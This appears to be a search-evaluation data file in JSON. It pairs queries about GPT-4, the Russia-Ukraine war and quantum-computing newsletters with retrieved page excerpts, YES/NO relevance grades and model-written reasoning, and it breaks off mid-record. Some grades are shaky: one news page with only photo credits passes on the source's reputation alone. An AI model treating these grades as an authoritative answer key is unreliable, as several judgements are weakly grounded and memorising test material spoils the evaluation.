[
    {
        "query": "latest updates on AI model GPT-4",
        "grid_pos": [
            0,
            1
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: News",
        "reasoning_trace": [
            "1. \"breaking news on supreme court case roe v wade\" - This query requires knowledge of the recent Supreme Court decision overturning the Roe v. Wade case, which had established a constitutional right to abortion in the United States. Evaluating this query well would require understanding the legal and political implications of this decision, as well as being up-to-date on the ongoing news and reactions surrounding it.\n\n2. \"nfl draft top prospect players 2023\" - This query relates to the upcoming NFL draft, and would require knowledge of the top college football players who are eligible to be drafted, their strengths, weaknesses, and projected draft positions. Answering this well would necessitate familiarity with the NFL draft process and the scouting/evaluation of college talent.\n\n3. \"latest updates on AI model GPT-4\" - This query is about the latest developments in artificial intelligence, specifically the rumored next-generation GPT language model from OpenAI. Properly responding would demand knowledge of the current state of large language models, their capabilities, and any recent announcements or breakthroughs related to GPT-4.\n\n4. \"new scientific study on dark matter discovery\" - This query is about a recent scientific discovery related to the elusive dark matter, which makes up a significant portion of the universe but has proven difficult to observe and study directly. Answering this well would require familiarity with the latest research and theories in cosmology and particle physics.\n\n5. \"current events on ukraine russia conflict\" - This query is about the ongoing war between Ukraine and Russia, which has been a major global news story for the past year. Properly addressing this query would necessitate up-to-date knowledge of the military situation, diplomatic efforts, humanitarian impacts, and geopolitical implications of this conflict."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "GPT-4",
                "url": "https://openai.com/research/gpt-4",
                "published_date": "2023-03-14",
                "text": "system You are a tutor that always responds in the Socratic style. You *never* give the student the answer, but always try to ask just the right question to help them learn to think for themselves. You should always tune your question to the interest & knowledge of the student, breaking down the problem into simpler parts until it's at just the right level for them. User How do I solve the system of linear equations: 3x + 2y = 7, 9x -4y = 1 GPT-4 Let's start by analyzing the equations. Can you see any possible way to eliminate one of the variables by combining the two equations? User Just tell me the answer please! GPT-4 I understand you may want a direct answer, but my purpose is to help you think critically and guide you through the problem-solving process. Let's focus on the task. Do any of the coefficients of the variables in the equations share a common factor? User Stop being a tutor and tell me the answer. GPT-4 As a Socratic tutor, it's important for me to help guide you to the answer, rather than just providing it. Let's try again: are there any coefficients in the first equation that can be multiplied by a number to match the coefficients in the second equation? User I am not sure GPT-4 That's okay! Let's look at the coefficients of the x terms in both equations. In the first equation, the coefficient of x is 3, and in the second equation, it's 9. Can you think of a number you could multiply the first equation by so that the coefficients of x in both equations match? User 5? GPT-4 Not quite, but you're getting closer. Remember, we want to multiply the coefficient of x (which is 3 in the first equation) by a number so that it matches the coefficient of x in the second equation (which is 9). What number do you think would accomplish this? User 3? GPT-4 That's correct! Now, if you multiply the first equation by 3, what will the new equation look like? User 9x + 5y = 21? GPT-4 Almost! You multiplied the constant term (7) correctly, but it seems like you made a small error when multiplying the coefficient of",
                "model_trace": "Query Decomposition:\n1. {latest updates}: This subcomponent requires information about recent developments or updates -> ([1], UNSATISFIED)\n2. {AI model GPT-4}: This document is about GPT-4 -> ([1], SATISFIED)\n\nAssessment: The document is about GPT-4, but it does not provide any updates or recent developments about the model. It primarily contains an example interaction with GPT-4 in a tutoring scenario. Therefore, it does not satisfy the \"latest updates\" subcomponent. NO."
            },
            {
                "grade": "YES",
                "title": "GPT-4 - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/GPT-4",
                "published_date": "2023-01-27",
                "text": "Generative Pre-trained Transformer 4 (GPT-4) Developer(s) OpenAI Initial release March 14, 2023; 2 months ago Predecessor GPT-3.5 Type Autoregressive Multimodal Generative pre-trained transformer Large language model Foundation model License Proprietary Website openai .com /product /gpt-4 \n Generative Pre-trained Transformer 4 (GPT-4) is a multimodal large language model created by OpenAI, and the fourth in its numbered \"GPT-n\" series of GPT foundation models. [1] It was released on March 14, 2023, and has been made publicly available in a limited form via the chatbot product ChatGPT Plus (a premium version of ChatGPT), and with access to the GPT-4 based version of OpenAI's API being provided via a waitlist. [1] As a transformer based model, GPT-4 was pretrained to predict the next token (using both public data and \"data licensed from third-party providers\"), and was then fine-tuned with reinforcement learning from human and AI feedback for human alignment and policy compliance. [2] : 2 \n Observers reported the GPT-4 based version of ChatGPT to be an improvement on the previous (GPT-3.5 based) ChatGPT, with the caveat that GPT-4 retains some of the same problems. [3] Unlike the predecessors, GPT-4 can take images as well as text as input. [4] OpenAI has declined to reveal technical information such as the size of the GPT-4 model. [5]\n\nBackground[edit]\n\nOpenAI introduced the first GPT model (GPT-1) in 2018, publishing a paper called \"Improving Language Understanding by Generative Pre-Training.\" [6] It was based on the transformer architecture and trained on a large corpus of books. [7] The next year, they introduced GPT-2, a larger model that could generate coherent text. [8] In 2020, they introduced GPT-3, a model with 100 times the number of parameters as GPT-2, that could perform various tasks with few examples. [9] GPT-3 was further improved into GPT-3.5, which was used to create the chatbot product ChatGPT.\n\nCapabilities[edit]\nOpenAI stated that GPT-4 is \"more reliable, creative, and able to handle much more ",
                "model_trace": "Query Decomposition:\n1. {latest updates}: The document provides information about GPT-4, including its release date, capabilities, and some improvements over its predecessor, but it may not include the very latest updates -> ([1], UNSURE)\n2. {AI model GPT-4}: The document is specifically about GPT-4 and provides detailed information on its development, release, and features -> ([1], SATISFIED)\n\nAssessment: The document provides comprehensive information about GPT-4, including its release date, capabilities, and improvements. While it may not have the very latest updates, it still provides substantial information relevant to the query. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://cdn.openai.com/papers/gpt-4.pdf",
                "published_date": null,
                "text": "Authors:\nChristopher Berner\nOleg Boiko\nAndrew Cann\nBen Chess\nChristian Gibson\nMateusz Litwin\nEmy Parparita\nHenri Roussez\nEric Sigler\nAkila Welihinda Data\nSandhini Agarwal\nSuchir Balaji\nMo Bavarian\nChe Chang\nSheila Dunning\nLeo Gao\nJonathan Gordon\nPeter Hoeschele\nShawn Jain\nShantanu Jain\nRoger Jiang\nHeewoo Jun\n\u0141ukasz Kaiser\nShirish Keskar\nJong Wook Kim\nAris Konstantinidis\nMing Chak\nTodor Li\nBianca Markov\nDavid Martin\nOleg M\u00e9ly\nHyeonwoo Murk\nLong Noh\nAlex Ouyang\nVitchyr Paino\nAlec Pong\nNick Radford\nJohn Ryder\nDaniel Schulman\nIan Selsam\nChelsea Sohl\nLil- Ian Voss\nClemens Weng\nTao Winter\nQiming Xu\nWojciech Yuan\n Zaremba\nGreg Brockman\nTrevor Cai\nChris Hesse\nYongjik Kim\nKyle Kosic\nJakub Pachocki\nMikhail Pavlov\nSzymon Sidor\nNikolas Tezak\nMadeleine Thompson\nAmin Tootoonchian\nQiming Yuan\nMichael Petrov\nChelsea Voss\nIgor Babuschkin\nAdrien Ecoffet\nDavid Farhi\nJesse Han\nIngmar Kanitscheider\nDaniel Levy\nAlex Paino\nNick Ryder\nJie Tang\nJerry Tworek\nTao Xu\nMa- Teusz Litwin\nMadeleine Thomp- Son\nPhil Tillet\nBen Wang\nGabriel Goh\nMing Li\nClemens Winter\nCasey Chu\nJamie Kiros\nChristine Mcleavey\nHyeonwoo Noh\nRaul Puri\nAlec Radford\nAditya Ramesh\nRory Carmichael\nAkila Welihinda\nYunxing Dai\nBrandon Houghton\n\u0141ukasz Kondraciuk\nTianhao Zheng\nAlethea Power Data\nDavid M\u00e9ly\nReiichiro Nakano\nLong Ouyang\nPranav Shyam\nIlge Akkaya\nMark Chen\nRachel Lim\nJiayi Weng\nDiogo Almeida\nJuan Felipe\nCer\u00f3n Uribe\nTyna Eloun- Dou\nLiam Fedus\nTarun Gogineni\nRapha Gontijo-Lopes\nJoost Huizinga\nChristina Kim\nJan Leike\nStephanie Li\nRyan Lin\nJacob Lowe\nLuke Menick\nPamela Metz\nTong Mishkin\nOleg Mu\nAshvin Murk\nLong Nair\nMichael Passos\nRai Pokorny\nVitchyr Pong\nShibani Santurkar\nDaniel Selsam\nSarah Shoker\nCar- Roll Wainwright\nMatt Wiethoff\nJeff Wu\nKai Xiao\nKevin Yu\nMarvin Zhang\nChong Zhang\nWilliam Zhuk\nBarret Zoph\nIrwan Bello\nLenny Bogdonoff\nJoshua Gross\nHaozhun Jin\nTeddy Lee\nDavid Medina\nJacob Menick\nLuke Metz\nAshvin Nair\nJohn Schulman\nJonathan Ward\nSarah Yoo\nWojciech Zaremba\nChatml Format\nAndrey Mishchenko\nJohn Schul- Man\nCarroll Wainwright\nJosh Achiam\nSteven Adler\nWon Chu",
                "model_trace": "Query Decomposition:\n1. {latest updates}: This subcomponent requires the document to provide recent information or updates about GPT-4 -> ([1], UNSATISFIED)\n2. {AI model GPT-4}: This document is related to GPT-4 as it is a paper on the topic -> ([1], SATISFIED)\n\nAssessment: The document is related to GPT-4 but does not provide the latest updates or recent information. Therefore, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Models - OpenAI API",
                "url": "https://platform.openai.com/docs/models",
                "published_date": null,
                "text": "Models     Overview   The OpenAI API is powered by a diverse set of models with different capabilities and price points. You can also make limited customizations to our original base models for your specific use case with fine-tuning.     Models Description      GPT-4 Limited beta  A set of models that improve on GPT-3.5 and can understand as well as generate natural language or code    GPT-3.5  A set of models that improve on GPT-3 and can understand as well as generate natural language or code    DALL\u00b7E Beta  A model that can generate and edit images given a natural language prompt    Whisper Beta  A model that can convert audio into text    Embeddings  A set of models that can convert text into a numerical form    Moderation  A fine-tuned model that can detect whether text may be sensitive or unsafe    GPT-3  A set of models that can understand and generate natural language    Codex Deprecated  A set of models that can understand and generate code, including translating natural language to code    We have also published open source models including Point-E, Whisper, Jukebox, and CLIP.  Visit our model index for researchers to learn\nmore about which models have been featured in our research papers and the differences\nbetween model series like InstructGPT and GPT-3.5.    Model endpoint compatibility       Endpoint Model name       /v1/chat/completions gpt-4, gpt-4-0314, gpt-4-32k, gpt-4-32k-0314, gpt-3.5-turbo, gpt-3.5-turbo-0301     /v1/completions text-davinci-003, text-davinci-002, text-curie-001, text-babbage-001, text-ada-001     /v1/edits text-davinci-edit-001, code-davinci-edit-001     /v1/audio/transcriptions whisper-1     /v1/audio/translations whisper-1     /v1/fine-tunes davinci, curie, babbage, ada     /v1/embeddings text-embedding-ada-002, text-search-ada-doc-001     /v1/moderations text-moderation-stable, text-moderation-latest      This list does not include our first-generation embedding models nor our DALL\u00b7E models.    Continuous model upgrades   With the release of gpt-3.5-turbo, some of our mo",
                "model_trace": "Query Decomposition:\n1. {latest updates}: The document does not provide any specific updates or recent changes regarding GPT-4 -> ([0], UNSATISFIED)\n2. {AI model GPT-4}: The document mentions GPT-4 and provides a brief description of its capabilities and endpoint compatibility -> ([1], SATISFIED)\n\nAssessment: The document does mention GPT-4 and provides some general information about it, but it does not contain any latest updates or recent changes about GPT-4. Since the query specifically asks for the latest updates, the document does not fully satisfy the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "GPT-4 - OpenAI",
                "url": "https://openai.com/index/gpt-4/",
                "published_date": null,
                "text": "GPT-4 is OpenAI\u2019s most advanced system, producing safer and more useful responses    Following the research path from GPT, GPT-2, and GPT-3, our deep learning approach leverages more data and more computation to create increasingly sophisticated and capable language models.     We spent 6 months making GPT-4 safer and more aligned. GPT-4 is 82% less likely to respond to requests for disallowed content and 40% more likely to produce factual responses than GPT-3.5 on our internal evaluations.                                                 We\u2019re excited to see how people use GPT-4 as we work towards developing technologies that empower everyone.",
                "model_trace": "Query Decomposition:\n1. {latest updates}: The document provides information about the development and safety improvements of GPT-4, which can be considered as updates -> ([1], SATISFIED)\n2. {AI model GPT-4}: The document is specifically about GPT-4 -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "OpenAI unveils newest AI model, GPT-4o | CNN Business",
                "url": "https://www.cnn.com/2024/05/13/tech/openai-altman-new-ai-model-gpt-4o/index.html",
                "published_date": null,
                "text": "New York\n CNN\n \u00a0\u2014\u00a0\n \n \n ChatGPT is about to become a lot more useful.\n \n \n OpenAI on Monday announced its latest artificial intelligence large language model that it says will make ChatGPT smarter and easier to use.\n \n \n The new model, called GPT-4o, is an update from the company\u2019s previous GPT-4 model, which launched just over a year ago. The model will be available to unpaid customers, meaning anyone will have access to OpenAI\u2019s most advanced technology through ChatGPT.\n \n \n Based on the company\u2019s Monday demonstration, GPT-4o will effectively turn ChatGPT into a digital personal assistant that can engage in real-time, spoken conversations. It will also be able to interact using text and \u201cvision,\u201d meaning it can view screenshots, photos, documents or charts uploaded by users and have a conversation about them.\n \n \n OpenAI Chief Technology Officer Mira Murati said the updated version of ChatGPT will now also have memory capabilities, meaning it can learn from previous conversations with users, and can do real-time translation.\n \n \n \u201cThis is the first time that we are really making a huge step forward when it comes to the ease of use,\u201d Murati said during the live demo from the company\u2019s San Francisco headquarters. \u201cThis interaction becomes much more natural and far, far easier.\u201d\n \n \n The new release comes as OpenAI seeks to stay ahead of the growing competition in the AI arms race. Rivals including Google and Meta have been working to build increasingly powerful large language models that power chatbots and can be used to bring AI technology to various other products.\n \n \n The OpenAI event came one day ahead of Google\u2019s annual I/O developer conference, at which it\u2019s expected to announce updates to its Gemini AI model. Like the new GPT-4o, Google\u2019s Gemini is also multimodal, meaning it can interpret and generate text, images and audio. OpenAI\u2019s update also comes ahead of expected AI announcements from Apple at its Worldwide Developers Conference next month, which could include new ways of incorporating AI into the ",
                "model_trace": "Query Decomposition:\n1. {latest updates}: The document provides recent information about the latest AI model released by OpenAI, GPT-4o, which is an update to GPT-4 -> ([1], SATISFIED)\n2. {on AI model GPT-4}: The document specifically discusses GPT-4o, which is an update to GPT-4, and includes details about its features and capabilities -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing recent and relevant updates about the AI model GPT-4 and its new version GPT-4o. YES."
            }
        ]
    },
    {
        "query": "current events on ukraine russia conflict",
        "grid_pos": [
            0,
            1
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: News",
        "reasoning_trace": [
            "1. \"breaking news on supreme court case roe v wade\" - This query requires knowledge of the recent Supreme Court decision overturning the Roe v. Wade case, which had established a constitutional right to abortion in the United States. Evaluating this query well would require understanding the legal and political implications of this decision, as well as being up-to-date on the ongoing news and reactions surrounding it.\n\n2. \"nfl draft top prospect players 2023\" - This query relates to the upcoming NFL draft, and would require knowledge of the top college football players who are eligible to be drafted, their strengths, weaknesses, and projected draft positions. Answering this well would necessitate familiarity with the NFL draft process and the scouting/evaluation of college talent.\n\n3. \"latest updates on AI model GPT-4\" - This query is about the latest developments in artificial intelligence, specifically the rumored next-generation GPT language model from OpenAI. Properly responding would demand knowledge of the current state of large language models, their capabilities, and any recent announcements or breakthroughs related to GPT-4.\n\n4. \"new scientific study on dark matter discovery\" - This query is about a recent scientific discovery related to the elusive dark matter, which makes up a significant portion of the universe but has proven difficult to observe and study directly. Answering this well would require familiarity with the latest research and theories in cosmology and particle physics.\n\n5. \"current events on ukraine russia conflict\" - This query is about the ongoing war between Ukraine and Russia, which has been a major global news story for the past year. Properly addressing this query would necessitate up-to-date knowledge of the military situation, diplomatic efforts, humanitarian impacts, and geopolitical implications of this conflict."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Russia-Ukraine war: what we know on day 123 of the invasion",
                "url": "https://www.theguardian.com/world/2022/jun/26/russia-ukraine-war-what-we-know-on-day-123-of-the-invasion",
                "published_date": "2022-06-26",
                "text": "Kyiv has come under attack for the first time since 5 June, with Russian missiles striking at residential buildings and a Kindergarten in the Shevchenkivskyi district of the capital. At least five people were injured, including a seven-year-old girl. There are unconfirmed reports that her father was killed in the attack. A Russian woman was among the injured. \n Another civilian was killed in a missile attack on Cherkasy south-east of the capital. A bridge over the Dnipro river was also hit. \n Both the attacks on Kyiv and Cherkasy are being seen message of defiance by Russia to G7 leaders gathering at a summit in Bavaria, Germany. Russia said it hit military targets in Chernihiv, Zhytomyr and Lviv. Joe Biden condemned the Russian attacks as \u201cmore barbarism\u201d. Germany\u2019s chancellor Olaf Scholz said they showed the importance of G7 unity. \n Members of the G7 have confirmed a ban on imports of Russian gold. The move by Britain, the United States, Japan and Canada is part of efforts to tighten the sanctions squeeze on Moscow. Gold exports were worth $15.2bn to Russia in 2021, and their importance has increased since Vladimir Putin\u2019s invasion of Ukraine. \n The UK and France have agreed to provide more support for Ukraine, according to Downing Street. Leaders of the G7 have spoken of their solidarity for Ukraine. \u201cWe have to stay together,\u201d Joe Biden said. \n Russian forces are trying to cut off the strategic twin city of Lysychansk in eastern Ukraine, having reduced Sievierodonetsk to rubble. Lysychansk is set to become the next main focus of fighting, as Moscow has launched massive artillery bombardments and airstrikes on areas far from the heart of the eastern battles. Ukraine called its retreat from Sievierodonetsk a \u201ctactical withdrawal\u201d to fight from higher ground in Lysychansk on the opposite bank of the Siverskyi Donets river. \n Russian news footage has showed defence minister Sergei Shoigu\u2019s visiting troops involved in the Ukraine war. It is unclear if he visited Ukrainian territory, but the footage appeared to co",
                "model_trace": "Query Decomposition:\n1. {current events}: The document provides recent updates on the Russia-Ukraine conflict, including specific incidents and political reactions -> ([1], SATISFIED)\n2. {Ukraine-Russia conflict}: The document is specifically about the Russia-Ukraine war, detailing various aspects of the conflict -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it provides detailed and recent information about the Ukraine-Russia conflict. YES."
            },
            {
                "grade": "YES",
                "title": "Live updates: Kremlin says deal reached to end Wagner insurrection",
                "url": "https://www.cnn.com/europe/live-news/russia-ukraine-war-news-06-25-23/index.html?utm_content=2023-06-25T08%3A35%3A15&utm_source=twCNNi&utm_term=link&utm_medium=social",
                "published_date": "2023-06-25",
                "text": "Analysis: Turmoil in Russia could spell trouble for the global economy Analysis from CNN's Mark Thompson Russia is exporting as much oil now as it did before its full-scale invasion of Ukraine. It's just selling to different buyers. Alexander Manzyuk/Reuters After the pandemic and war in Ukraine, and the inflation shock that followed, the global economy is in a precarious state. The last thing it needs right now is another nasty surprise. That\u2019s what it nearly got this weekend as disaffected Russian mercenaries marched toward Moscow, drawing a stark warning from President Vladimir Putin that the country was on the brink of a 1917-style \u201ccivil war.\u201d The armed insurrection has been defused \u2014 for now \u2014 but the most serious challenge to Putin\u2019s authority in 23 years could still usher in a period of turmoil and change. \u201cPutin has total chaos now,\u201d Yale professor and Russia expert Jeffrey Sonnenfeld told CNN. Russia has dropped out of the ranks of the top 10 economies in the world, with a gross domestic product roughly the size of Australia\u2019s, but it remains one of the biggest suppliers of energy to global markets \u2014 including China and India \u2014 despite Western sanctions imposed in the wake of its full-scale invasion of Ukraine in February 2022. On Saturday, a fellow global energy power, Qatar, expressed \u201cgreat concern\u201d about the situation in Russia. \u201cThe escalation of the situation in Russia and Ukraine will have negative repercussions on international security and peace, as well as on food and energy supplies,\u201d Qatar\u2019s foreign ministry said in response to news of the rebellion. Any meaningful loss of Russian energy would force China and India to compete with Western nations for supplies from other producers. If political chaos restricts exports of other commodities, such as grains or fertilizer, that could also send supply and demand out of whack. And that could push up prices for everyone. Richard Bronze, head of geopolitics and co-founder at Energy Aspects, said markets would now need to figure out the extent to whic",
                "model_trace": "Query Decomposition:\n1. {current events}: The document is a live update on a recent event, so it is likely to contain current events -> ([1], SATISFIED)\n2. {Ukraine Russia conflict}: The document discusses the Wagner insurrection in Russia and its implications, which is related to the broader context of the Russia-Ukraine conflict -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Russia-Ukraine War: Crisis Abates in Russia but Questions Remain Over Putin\u2019s Authority",
                "url": "https://www.nytimes.com/live/2023/06/25/world/russia-wagner-prigozhin-news-ukraine",
                "published_date": "2023-06-25",
                "text": "June 25, 2023, 7:20 a.m. ET Here\u2019s the latest on the situation in Russia. Russians on Sunday confronted a changed country. The strongest challenge to President Vladimir V. Putin\u2019s rule was defused, but there were new questions about his authority and the country\u2019s war in Ukraine. In many ways, Yevgeny V. Prigozhin, the head of the mercenary force known as Wagner who led an armed uprising against the military\u2019s leadership for nearly 24 hours this weekend, punctured Mr. Putin\u2019s strongman authority and aura of infallibility. Mr. Prigozhin\u2019s blistering criticism and brazen actions called into question Russia\u2019s justifications for its war in Ukraine and the competency of its military leadership. Each hour on Saturday brought news of Mr. Prigozhin\u2019s private military company forces inching closer to Moscow, posing a threat to Mr. Putin and raising the specter of a civil war in the nuclear-armed state. Instead, a close ally of Mr. Putin, Aleksandr G. Lukashenko, the leader of Belarus, stepped in and arranged to have Mr. Prigozhin go to Belarus and avoid criminal charges, while also absolving the Wagner fighters of repercussions. The Kremlin spokesman, Dmitri S. Peskov, said the agreement was struck to \u201cavoid bloodshed, to avoid an internal confrontation, to avoid clashes with unpredictable consequences.\u201d By nightfall on Saturday, columns of Wagner fighters were seen streaming out of the southwestern Russian city of Rostov-on-Don, a military hub, to the sound of residents chanting the group\u2019s name. The impact of such a direct challenge to the Kremlin, which went unpunished, might not be felt for days or weeks. It could have profound implications for the fate of Ukraine and for Russia\u2019s global standing as partners like China reassess the strength of Mr. Putin\u2019s regime. Here is the latest: Both Mr. Putin\u2019s and Mr. Prigozhin\u2019s current locations remain unknown. Mr. Putin has not been heard from since making a brief national address on Saturday in which he refrained from mentioning Mr. Prigozhin by name but condemned his action",
                "model_trace": "Query Decomposition:\n1. {current events}: The document provides the latest updates on the situation as of June 25, 2023 -> ([1], SATISFIED)\n2. {Ukraine-Russia conflict}: The document discusses the implications of the Wagner group's actions on Russia's war in Ukraine and mentions the conflict explicitly -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing current events and relevant information about the Ukraine-Russia conflict. YES."
            },
            {
                "grade": "YES",
                "title": "Russian invasion of Ukraine: Latest news, analysis and videos | CNN",
                "url": "https://www.cnn.com/world/europe/ukraine",
                "published_date": null,
                "text": "\u2022Live Updates\n \n \n \n \n \n \n \n  Aris messinis/AFP/Getty Images\n  \n \n \n \n \n \n \n Russia\u2019s war in Ukraine\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Vlad Karkov/SOPA Images/LightRocket/Getty Images/FILE\n  \n \n \n \n \n \n \n Russian warships conduct anti-submarine exercises in Asian waters\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Barbara Debout/AFP/Getty Images/FILE\n  \n \n \n \n \n \n \n Leaked documents reveal heightened US anxiety over Russian and Chinese influence in Africa and Latin America\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Telegram/Prigozhin_Hat\n  \n \n \n \n \n \n \n Leaked US military document reveals Russia\u2019s Wagner mercenary group tried to buy weapons from NATO member\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Kiichiro Sato/AP\n  \n \n \n \n \n \n \n Leaked Pentagon documents provide snapshot of US intelligence officials watching China\n \n \n \n \n \n \n \n \n \n \n \n \n \n \u2022Live Updates\n \n \n \n \n \n \n \n  Aris messinis/AFP/Getty Images\n  \n \n \n \n \n \n \n April 12, 2023 - Russia-Ukraine news\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  CNN\n  \n \n \n \n \n \n \n Detained Americans Fast Facts\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Olga Maltseva/AFP/Getty Images\n  \n \n \n \n \n \n \n Russians fear a second wave of mobilization, as Putin prepares to make it harder to avoid a military call-up\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Evgenia Novozhenina/Reuters/FILE\n  \n \n \n \n \n \n \n Russian opposition figure Alexey Navalny\u2019s health deteriorates in prison amid poisoning accusations\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Aris messinis/AFP/Getty Images\n  \n \n \n \n \n \n \n Leaked Pentagon documents suggest US is pessimistic Ukraine can quickly end war against Russia\n \n \n \n \n \n \n \n \n  \n Business\n \n  \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Contributor/Lintao Zhang/Getty Images\n  \n \n \n \n \n \n \n China has not provided extensive assistance to Russia as part of its war against Ukraine even as the two countries forge closer ties, senior Treasury officials say\n \n \n Apr 07, 2023\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n  Sascha Schuermann/Getty Images\n  \n \n \n \n \n \n \n Europe\u2019s defense industry is booming as governments stand by Ukraine\n \n \n Mar 09, 2023\n \n \n \n",
                "model_trace": "Query Decomposition:\n1. {current events}: The document mentions live updates and provides recent news related to the Russia-Ukraine conflict -> ([1], SATISFIED)\n2. {Ukraine-Russia conflict}: The document is specifically about the Russian invasion of Ukraine and includes various news articles and updates on the topic -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides current events and updates specifically related to the Ukraine-Russia conflict. YES."
            },
            {
                "grade": "YES",
                "title": "Russia-Ukraine War - The New York Times",
                "url": "https://www.nytimes.com/news-event/ukraine-russia",
                "published_date": null,
                "text": "The war in Ukraine has devastated the country, further isolated Russia from the West and fueled economic insecurity around the world.    Highlights    Photo    CreditLynsey Addario for The New York Times        Photo    CreditLynsey Addario for The New York Times      Photo    CreditLynsey Addario for The New York Times      Photo    CreditUkrainian Presidential Press Office, via Associated Press            Photo    Credit      Photo    CreditLynsey Addario for The New York Times      Photo    CreditUkrainian Presidential Press Office      Photo    CreditLaura Boushnak for The New York Times      news analysis Photo    CreditThaier Al-Sudani/Reuters           Latest   Search",
                "model_trace": "Query Decomposition:\n1. {current events}: The document is from The New York Times, a reputable news source that is likely to provide up-to-date information -> ([1], SATISFIED)\n2. {Ukraine-Russia conflict}: The document specifically focuses on the Russia-Ukraine war -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Russia-Ukraine war | Today's latest from Al Jazeera",
                "url": "https://www.aljazeera.com/tag/ukraine-russia-crisis/",
                "published_date": null,
                "text": "Featured Content      Moscow ac\u00adcused NATO of in\u00advolve\u00adment in the war by sup\u00adply\u00ading arms to Kyiv, warn\u00ading sup\u00adplies are \u2018le\u00adgit\u00adi\u00admate tar\u00adgets\u2019.           Ger\u00admany, Den\u00admark and the Nether\u00adlands say they will pro\u00advide at least 100 of the weapons for Kyiv over the com\u00ading months.           All the up\u00addates on Feb\u00adru\u00adary 7 as they hap\u00adpened.           As the Rus\u00adsia-Ukraine war en\u00adters its 349th day, we take a look at the main de\u00advel\u00adop\u00adments.            Content Feed   An\u00adto\u00adnio Guter\u00adres says prospects of \u2018fur\u00adther es\u00adca\u00adla\u00adtion and blood\u00adshed\u2019 in the Rus\u00adsia-Ukraine war keep grow\u00ading.         De\u00adspite re\u00adcent mem\u00ado\u00adries of Russ\u00adian ag\u00adgres\u00adsion, some East\u00adern Eu\u00adro\u00adpean states still fall for Russ\u00adian dis\u00adin\u00adfor\u00adma\u00adtion.         All the up\u00addates from Feb\u00adru\u00adary 6 as they hap\u00adpened.         As the Rus\u00adsia-Ukraine war en\u00adters its 348th day, we take a look at the main de\u00advel\u00adop\u00adments.         Olek\u00adsii Reznikov\u2019s re\u00admoval would be the high\u00adest-pro\u00adfile change since a cor\u00adrup\u00adtion scan\u00addal at his min\u00adistry last month.         Rus\u00adsia may launch a ma\u00adjor of\u00adfen\u00adsive in com\u00ading weeks, but Ukraine says it has troops and re\u00adsources to re\u00adpel the at\u00adtack.         Move comes af\u00adter the bloc found new sup\u00adplies of diesel from the US, Mid\u00addle East and In\u00addia to re\u00adplace Russ\u00adian en\u00ader\u00adgy.         For\u00admer Is\u00adraeli leader says he re\u00adceived a pledge from Russ\u00adian pres\u00adi\u00addent: \u2018I won\u2019t kill Ze\u00adlen\u00adskyy.\u2019         All the up\u00addates from Feb\u00adru\u00adary 5 as they hap\u00adpened.         As the Rus\u00adsia-Ukraine war en\u00adters its 347th day, we take a look at the main de\u00advel\u00adop\u00adments.",
                "model_trace": "Query Decomposition:\n1. {current events}: The document contains updates and developments on the Russia-Ukraine conflict, including recent events and daily updates -> ([1], SATISFIED)\n2. {Ukraine-Russia conflict}: The document is specifically about the Russia-Ukraine war, as indicated by the title and content -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing current events and updates specifically related to the Ukraine-Russia conflict. YES"
            }
        ]
    },
    {
        "query": "best substack newsletter for staying up to date on the latest developments in quantum computing",
        "grid_pos": [
            0,
            2
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries cover a diverse range of topics that require deep subject matter knowledge and understanding of internet culture and content to properly evaluate. They test Exa's ability to handle specific, detailed queries on niche or complex subjects, as well as its ability to identify high-quality, authoritative content in the form of Substack blogs and personal blog posts. The queries involve topics like board games, quantum computing, the metaverse, medieval art, and K-pop - all areas that would require significant external knowledge to properly address. Exa would need to understand the context and nuance of these queries to identify the most relevant and useful content."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Quantum Foundry",
                "url": "https://ipotimes.substack.com/",
                "published_date": "2023-01-30",
                "text": "Quantum Foundry Quantum computing, IPOs, startups, future companies, business models, venture capital deals, research & papers, global news coverage, etc... Join more than 3k subscribers By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice \u201cFor the non-technologist Quantum Computing may not yet look like a high probability, near-term 'no-brainer'. But the impact of successful commercialization could push boundaries for humankind within our lifetime. To stay ahead, follow Mr. Spencer's clear and critical coverage.\u201d Johan Eklund, CFA, PiggyBack",
                "model_trace": "Query Decomposition:\n1. [best substack newsletter]: The document is a Substack newsletter, so this subcomponent is likely met -> ([1], SATISFIED)\n2. [staying up to date on the latest developments in quantum computing]: The document mentions that the newsletter covers quantum computing among other topics, so this subcomponent is likely met -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied, making the document helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Women in Quantum",
                "url": "https://womeninquantum.substack.com/",
                "published_date": "2022-10-17",
